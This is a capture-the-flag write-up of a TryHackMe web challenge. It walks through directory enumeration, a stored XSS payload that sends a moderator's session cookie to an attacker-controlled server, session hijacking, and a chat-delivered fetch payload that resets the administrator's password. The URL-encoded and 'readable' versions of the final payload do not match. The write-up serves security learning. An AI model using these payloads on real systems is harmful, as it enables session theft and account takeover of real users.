Back to writeups

What's Your Name? Web Challenge — TryHackMe

web reconnaissance stored xss session hijacking idor csrf account takeover

TL;DR

This challenge involved chaining multiple web vulnerabilities across two related applications: worldwap.thm and login.worldwap.thm. Initial reconnaissance revealed public endpoints, JavaScript files and moderator-related API functionality.

By registering a new account with a malicious payload in the Name field, it was possible to trigger a stored XSS when a moderator reviewed the registration. The payload exfiltrated the moderator’s PHPSESSID, allowing access to the moderator account and retrieval of the first flag.

Once acting as a moderator, an API request was used to approve and promote the attacker-controlled account. Further enumeration of the secondary application at login.worldwap.thm exposed an admin-only password change feature and a chat system. A malicious chat message containing an HTML payload was then used to perform a CSRF-style password change against the administrator, leading to full account takeover and retrieval of the final flag.

Challenge Overview

The main application exposed both registration and login functionality. During the initial review, two accessible interfaces stood out:

  • A public application at worldwap.thm.
  • A secondary login platform at login.worldwap.thm.

The first application presented standard login and registration pages.

Worldwap login interface Worldwap registration interface

Reconnaissance on worldwap.thm

I started with directory enumeration against http://worldwap.thm.

gobuster dir \
  -u http://worldwap.thm \
  -w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,txt,js,html \
  -t 30 \
  --timeout 20s \
  --delay 50ms \
  -o gobuster_results.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/logs.txt             (Status: 200) [Size: 0]
/api                  (Status: 301) [Size: 310] [--> http://worldwap.thm/api/]
/javascript           (Status: 301) [Size: 317] [--> http://worldwap.thm/javascript/]
/public               (Status: 301) [Size: 313] [--> http://worldwap.thm/public/]
/index.php            (Status: 302) [Size: 0] [--> /public/html/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://worldwap.thm/phpmyadmin/]
/server-status        (Status: 403) [Size: 277]

During manual browsing and recon, several API endpoints were identified:

/api/mod.php
/api/mod_update.php?userId=${user.id}
/api/add_post.php
/api/edit_post.php
/api/delete_post.php
/api/posts.php

These endpoints strongly suggested the presence of moderator functionality.

Inspecting JavaScript and Moderator Functionality

The /public directory exposed several JavaScript files.

Public directory showing exposed JavaScript files
admin.js
dashboard.js
login.js
logout.js
mod.js
register.js

The most interesting file was mod.js, which revealed how the moderation workflow operated.

  • /api/mod.php returned a JSON list of user information, including id, username, email and name.
  • /api/mod_update.php?userId={id} was used to update or activate user accounts.

At this point, it was clear that newly registered users needed approval from a moderator before becoming active.

Stored XSS in the Name Field

After spending some time crawling the application without finding an obvious direct entry point, I focused on the registration process. Since a moderator had to review newly created accounts, this created an opportunity to test for stored XSS in user-controlled fields.

I created a new account and inserted the following payload in the Name field:

<script>document.location='http://10.X.X.X:8000/?cookie='+document.cookie</script>

Before doing so, I started a simple HTTP server on the attacker machine:

python3 -m http.server 8000
Attacker HTTP server receiving stolen moderator cookie

When the moderator reviewed the registration request, the payload executed in the moderator’s browser and exfiltrated the PHPSESSID to the attacker-controlled server.

Session Hijacking and Moderator Access

After capturing the moderator’s session cookie, I replaced my own PHPSESSID value with the stolen one and accessed the application dashboard.

This successfully authenticated me as the moderator.

Moderator dashboard after hijacking moderator session

This granted access to the moderation functionality and revealed the first flag.

Promoting the Attacker Account

Once inside the moderator account, I used the exposed API functionality to approve or promote my own registered user.

By sending a request to the mod_update.php endpoint with my account’s user ID, I was able to update the account state and gain elevated access for my own user.

Moderator API request to promote or approve account

After that, I logged into my own account with the updated privileges.

Reconnaissance on login.worldwap.thm

The next stage involved enumerating the secondary application hosted at login.worldwap.thm.

gobuster dir \
  -u http://login.worldwap.thm \
  -w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,txt,js,html \
  -t 30 \
  --timeout 20s \
  --delay 50ms
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/login.php            (Status: 200) [Size: 3108]
/logs.txt             (Status: 200) [Size: 0]
/assets               (Status: 301) [Size: 325] [--> http://login.worldwap.thm/assets/]
/db.php               (Status: 200) [Size: 0]
/javascript           (Status: 301) [Size: 329] [--> http://login.worldwap.thm/javascript/]
/chat.php             (Status: 302) [Size: 0] [--> login.php]
/index.php            (Status: 200) [Size: 70]
/profile.php          (Status: 302) [Size: 0] [--> login.php]
/phpmyadmin           (Status: 301) [Size: 329] [--> http://login.worldwap.thm/phpmyadmin/]
/setup.php            (Status: 200) [Size: 149]
/block.php            (Status: 200) [Size: 15]
/server-status        (Status: 403) [Size: 283]
/clear.php            (Status: 200) [Size: 4]
/change_password.php  (Status: 302) [Size: 4] [--> login.php]

This enumeration exposed two especially interesting features:

  • chat.php — a chat system.
  • change_password.php — a password change feature.

Because the moderator had previously posted that login.worldwap.thm is operational and working, I reused the captured moderator session to access the secondary application.

Logged into login.worldwap.thm with moderator session

This revealed the first flag in the secondary interface and exposed additional privileged tabs.

Admin-Only Change Password Functionality

Inside login.worldwap.thm, two new features became available:

  • Change Password
  • Go to Chat

The Change Password functionality was especially important because it was only accessible to administrators. This suggested a potential path to account takeover if a request could be forced in the admin’s browser.

Admin-only change password functionality

CSRF Through the Chat System

Since there was a chat feature and the administrator interacted with it, I used it as a delivery mechanism for a malicious payload. The goal was to force the administrator’s browser to submit a request to /change_password.php and change the password to a known value.

The payload was sent as a chat message:

POST /chat.php HTTP/1.1
Host: login.worldwap.thm
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=jpj6eiaog90mhccove8c5eh99v

message=%3Cimg+src%3D%22x%22+onerror%3D%22fetch%28%27%2Fchange_password.php%27%2C%7Bmethod%3A%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%27application%2Fx-www-form-urlencoded%27%7D%2Ccredentials%3A%27include%27%2Cbody%3A%27new_password%3DPassword123%21%26confirm_password%3DHackedPassword123%21%27%7D%29%22%3E

In a more readable format, the injected HTML was:

<img src="x" onerror="fetch('/change_password.php',{
  method:'POST',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'new_password=Password123!'
})">

When the administrator viewed the message, the browser executed the payload and sent a password change request using the administrator’s authenticated session.

Administrator Account Takeover

After the password reset succeeded, I simply logged into the administrator account using the new known password.

This granted full access to the admin account and revealed the final flag.

Administrator account takeover and final flag

Attack Chain

  1. Enumerated worldwap.thm and discovered public directories, APIs and JavaScript files.
  2. Inspected mod.js and identified moderator-related endpoints.
  3. Registered a new account and injected a stored XSS payload into the Name field.
  4. Captured the moderator’s PHPSESSID when the moderator reviewed the malicious registration.
  5. Hijacked the moderator session and accessed the moderator dashboard.
  6. Used the moderator API to approve/promote the attacker-controlled account.
  7. Enumerated login.worldwap.thm and identified chat.php and change_password.php.
  8. Reused the moderator session in the secondary application and obtained the first flag there.
  9. Used the chat feature to deliver a CSRF-style password change payload to the administrator.
  10. Changed the administrator password to a known value and logged into the admin account.
  11. Retrieved the final flag from the compromised administrator account.